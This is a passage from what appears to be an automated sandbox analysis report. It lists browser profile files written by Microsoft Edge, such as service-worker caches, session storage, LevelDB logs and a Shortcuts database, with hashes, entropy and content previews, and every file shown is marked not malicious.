SHA-512:	331A8CA560DDACB3B5D1DB6F7DB044B5E22F807A8DB87D4D505AB72A9B7C12A14A490DC2B0AA14ABB7D165417F526AFBA6590FF85E1470594D15D2B148B52EF4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377014067422344","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377014067422344","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.84367135855115
Encrypted:	false
SSDEEP:	24:F2xc5Nmq6cncmo0CRORpllg2DzfRHgVdCRORpllg2Sc03osx+KCRORpllg2D2RHR:F2emWtrdDzfBeXrdYxxrdD2BGGrd44B7
MD5:	F8DADE6E35A499F6A3E30172C65326C7
SHA1:	FDBEC229CDDDD5AD213F39019854C0C7BB9B2B9D
SHA-256:	4B30BA5EE8F0C9F65B9B44891680E1DCDEB3CF69350740AD88D05978AE93F64E
SHA-512:	A5A31CF3849057D0A6702FA4727412F673BD30ECA79894D4CB00D6970BD24092D0D88EF7974FD28B0668B2335EDD04AADCF25CFD86A75B6A25FA4B39C7933152
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.164501441828501
Encrypted:	false
SSDEEP:	6:HAqTKq1923oH+TcwtE/a252KLlVANQL+q2P923oH+TcwtE/a2ZIFUv:goyYeb8xLoCyv4Yeb8J2FUv
MD5:	8830F093D90C4E02CDA6CF4FCD9D812A
SHA1:	4F732AF947AE88536191D2C167D0500BFAFE6D6A
SHA-256:	8965CED3F697727845910CA741368AD7E47C43384252DAAF57773F46536543C2
SHA-512:	CE067A3192EE28A5DE77F5E465E75D5A0F45CD75CF7490D114D9B075718B2CC8665D01F3E0508D830DFEB97FCF5AE26A2CB55DAFB24DEC1E1ABC110557909877
Malicious:	false
Preview:	2024/11/25-08:14:44.696 1da8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-08:14:44.711 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578408125558815
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgwVE:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFh
MD5:	E22CF636790BA22352F2361AB5CEA3C7
SHA1:	EF779C127CE9A38C169AC3801077316E5B258159
SHA-256:	CE666563625427EA047A994348E350B3EAF678D88E08A81FB3EEFACFF3FDC35D
SHA-512:	34F671951D1156378124B11A16BA01640AF3648BCEB516F4EA3A1F83AB0D583169191A45EE9F760B80191B2F1F162FE609E9A59FFA707C8B01BC6EEC279A995A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385323079001104
Encrypted:	false
SSDEEP:	3072:tOFKlQENrLqwEMKJmGL/CLMRMZETcDVxe/033FG:pqwMJfL/E2/Yi/w3c
MD5:	91B1E3821762DBB12F190A11A1E662FD
SHA1:	3B23E2EF818A01862ED96DFB4366B2269A65B3AB
SHA-256:	0516267BE3C543E8B7F2CA76D68CFEC4536845E1651BA329B3A3876E2E8CD495
SHA-512:	CCC88CE656F0428270B3461281CF544BB06EB32039FFB7A7E3E2FBACE86AB37F62F76C82D4356F32D4E0F0614137A2D93E25731DD7F4EFAC34F4CA3A08ECD9CF
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rc.}......exports...Rc"..~....module....RcI1P....define....Rbn.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..._b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:LIr9Xl/ly/l9/lxE0tlla/lLD32l:8hmO0gX3C
MD5:	7846E1E28D7F3EA6C2FBCE42DD05347D
SHA1:	D9B9ADD7289ECF197DF5E91E1F54D75ABEE775F7
SHA-256:	1A4E99BCFD2C5516E3155B232AE9AD185E17CCF9EE3CE0678D54E3B221F61FC9
SHA-512:	912C48A52024966CF94554373241AA279845DDB80564523E449B03E9D39C34BC35970917BF076D5DD22E487F64D0547014E545067F4811FD59C55A55B7AEE1DA
Malicious:	false
Preview:	@...~..oy retne.........................X....,................t...R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:LIr9Xl/ly/l9/lxE0tlla/lLD32l:8hmO0gX3C
MD5:	7846E1E28D7F3EA6C2FBCE42DD05347D
SHA1:	D9B9ADD7289ECF197DF5E91E1F54D75ABEE775F7
SHA-256:	1A4E99BCFD2C5516E3155B232AE9AD185E17CCF9EE3CE0678D54E3B221F61FC9
SHA-512:	912C48A52024966CF94554373241AA279845DDB80564523E449B03E9D39C34BC35970917BF076D5DD22E487F64D0547014E545067F4811FD59C55A55B7AEE1DA
Malicious:	false
Preview:	@...~..oy retne.........................X....,................t...R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41ae7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:LIr9Xl/ly/l9/lxE0tlla/lLD32l:8hmO0gX3C
MD5:	7846E1E28D7F3EA6C2FBCE42DD05347D
SHA1:	D9B9ADD7289ECF197DF5E91E1F54D75ABEE775F7
SHA-256:	1A4E99BCFD2C5516E3155B232AE9AD185E17CCF9EE3CE0678D54E3B221F61FC9
SHA-512:	912C48A52024966CF94554373241AA279845DDB80564523E449B03E9D39C34BC35970917BF076D5DD22E487F64D0547014E545067F4811FD59C55A55B7AEE1DA
Malicious:	false
Preview:	@...~..oy retne.........................X....,................t...R./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6585
Entropy (8bit):	3.38285124216732
Encrypted:	false
SSDEEP:	192:T+avELol6n7N5KhoV19Xp++3Kib5SLl9iSrYCx:y1hx5/9Xp+be5SLl9iSrZx
MD5:	6CC4DB882564A82B0E08C5DA55DE0C58
SHA1:	32D24F3272CFC7DEB80756807620E4AE90931D27
SHA-256:	D3F7EF979B4D9DC24DA3020C3CD9E6E250F0BCCF7314669098E9D18CFC128082
SHA-512:	FC23767980DFBE59628831864714D280FEB76FA049A965846EB2C8259B1490F8FF8975D5A3FE265BC12F32C254B20B4B42D6882A354A62DDE615AEB7E005FD3E
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............\|"..b................next-map-id.1.Cnamespace-a6f115a8_a239_4866_8ae4_1c7dce4606d3-https://ntp.msn.com/.0f.x.t................map-0-shd_sweeper.0{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.e.p.r.g.-.1.s.w.-.s.a.q.r.m.r.u.-.f.t.t.-.t.4.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159641631218132
Encrypted:	false
SSDEEP:	6:HAF+q2P923oH+TcwtrQMxIFUt8YAxWZmw+YABZVkwO923oH+TcwtrQMFLJ:gF+v4YebCFUt87xW/+7BZV5LYebtJ
MD5:	1692BDBFDC0460FC8934EE7B29C6E4A1
SHA1:	503410CBFF6C554E81412277A04F1E281F8086A5
SHA-256:	6A2C6920DB6AF1F7771CEFE99A80D2ACC1F9B9A6593CCB6B3C46D27D376466AC
SHA-512:	11A7FA13CCEEAC8A5D206F7D11DC182D6DC71C74882BFC92DFF4A6B3E261A5B32DB6759E9FA5AF3641D84C4989C8B06603AE51375ED51F2A18035EFC15A22AC6
Malicious:	false
Preview:	2024/11/25-08:14:28.187 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-08:14:28.193 1c5c Recovering log #3.2024/11/25-08:14:28.196 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159641631218132
Encrypted:	false
SSDEEP:	6:HAF+q2P923oH+TcwtrQMxIFUt8YAxWZmw+YABZVkwO923oH+TcwtrQMFLJ:gF+v4YebCFUt87xW/+7BZV5LYebtJ
MD5:	1692BDBFDC0460FC8934EE7B29C6E4A1
SHA1:	503410CBFF6C554E81412277A04F1E281F8086A5
SHA-256:	6A2C6920DB6AF1F7771CEFE99A80D2ACC1F9B9A6593CCB6B3C46D27D376466AC
SHA-512:	11A7FA13CCEEAC8A5D206F7D11DC182D6DC71C74882BFC92DFF4A6B3E261A5B32DB6759E9FA5AF3641D84C4989C8B06603AE51375ED51F2A18035EFC15A22AC6
Malicious:	false
Preview:	2024/11/25-08:14:28.187 1c5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-08:14:28.193 1c5c Recovering log #3.2024/11/25-08:14:28.196 1c5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377014069864178

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8212610081987965
Encrypted:	false
SSDEEP:	24:3uISYba4wmEd6xvjK9iOyeKtt4ipsAF4unxtStLp3X2amEtG1Chq0oF2I6S9cQKr:3epd6VVOszF9kLp2FEkCh42b+tHOpZ5
MD5:	33176B98ABA4319C7C971B59B848AACD
SHA1:	5DABAF92967B607E6B9DF2692B102505E8BCDFD0
SHA-256:	049E4508826FDDE52945FDDC63FE5051FB5106DC3D4AE917CC87A30D68CD01D6
SHA-512:	CA4004A5D9FB5F09730D154D1A04E17C3E7CA8D7D485EDC4BC4057E9BB22FAA4A119AA049CD7DD3F7B8CF405D82E8ACCDEF5D49F20105BF2F04DF1DF6C1C60F1
Malicious:	false
Preview:	SNSS.........c.............c......"..c.............c.........c.........c.........c....!....c.................................c..c1..,.....c$...a6f115a8_a239_4866_8ae4_1c7dce4606d3.....c.........c................c.....c.........................c....................5..0.....c&...{98952893-68FF-4A5D-A164-705C709ED3DB}.......c............c.........................c.............c........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........_f..'..._f..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.166225541812772
Encrypted:	false
SSDEEP:	6:HAkfq2P923oH+Tcwt7Uh2ghZIFUt8YAkVTZmw+YAkVJkwO923oH+Tcwt7Uh2gnLJ:gkfv4YebIhHh2FUt87kd/+7kv5LYebIT
MD5:	FA3267C96DF1246ED3C1DB2949BD8B23
SHA1:	EE2BB86D71E39CDC09A74EAFDB48ED1ED45467E7
SHA-256:	ABBB6CE87784C70D618D13C42C09A268FFA52006B17BF35F6A564336A63672CF
SHA-512:	54ED11B94B06242406B87C4CDB8902268E8D1569C1D85A4396654731F231A785CA28026681A2B78AB5EB8176565A87B2368304AA8DE1C18CEB380C2A6353FC89
Malicious:	false
Preview:	2024/11/25-08:14:27.408 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-08:14:27.597 1df0 Recovering log #3.2024/11/25-08:14:27.597 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.166225541812772
Encrypted:	false
SSDEEP:	6:HAkfq2P923oH+Tcwt7Uh2ghZIFUt8YAkVTZmw+YAkVJkwO923oH+Tcwt7Uh2gnLJ:gkfv4YebIhHh2FUt87kd/+7kv5LYebIT
MD5:	FA3267C96DF1246ED3C1DB2949BD8B23
SHA1:	EE2BB86D71E39CDC09A74EAFDB48ED1ED45467E7
SHA-256:	ABBB6CE87784C70D618D13C42C09A268FFA52006B17BF35F6A564336A63672CF
SHA-512:	54ED11B94B06242406B87C4CDB8902268E8D1569C1D85A4396654731F231A785CA28026681A2B78AB5EB8176565A87B2368304AA8DE1C18CEB380C2A6353FC89
Malicious:	false
Preview:	2024/11/25-08:14:27.408 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-08:14:27.597 1df0 Recovering log #3.2024/11/25-08:14:27.597 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.23201890291019
Encrypted:	false
SSDEEP:	12:ga3v4YebvqBQFUt87D/+7hM5LYebvqBvJ:74YebvZg8pLYebvk
MD5:	65FCCFAB839634E957453115578CFCB0
SHA1:	6E587C1D0770A0BE09D98C4E68834792E87740F0
SHA-256:	D3D3D01FED3A24FCB961C5AFECAE8214B41B467A38B75265EF7FD4AA3E423EEF
SHA-512:	7586912104240999FC0669FA13E940C2E179F85EC363ABC41E2359E0C28FD9E2094979A84C32BAE002BBB9C642B0BF3DCBD9E057DA3E4D122C16E888376A191B
Malicious:	false
Preview:	2024/11/25-08:14:28.204 1d94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-08:14:28.206 1d94 Recovering log #3.2024/11/25-08:14:28.212 1d94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.23201890291019
Encrypted:	false
SSDEEP:	12:ga3v4YebvqBQFUt87D/+7hM5LYebvqBvJ:74YebvZg8pLYebvk
MD5:	65FCCFAB839634E957453115578CFCB0
SHA1:	6E587C1D0770A0BE09D98C4E68834792E87740F0
SHA-256:	D3D3D01FED3A24FCB961C5AFECAE8214B41B467A38B75265EF7FD4AA3E423EEF
SHA-512:	7586912104240999FC0669FA13E940C2E179F85EC363ABC41E2359E0C28FD9E2094979A84C32BAE002BBB9C642B0BF3DCBD9E057DA3E4D122C16E888376A191B
Malicious:	false
Preview:	2024/11/25-08:14:28.204 1d94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-08:14:28.206 1d94 Recovering log #3.2024/11/25-08:14:28.212 1d94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\11c5c1cc-7db5-46c3-a78f-e51a5214b497.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
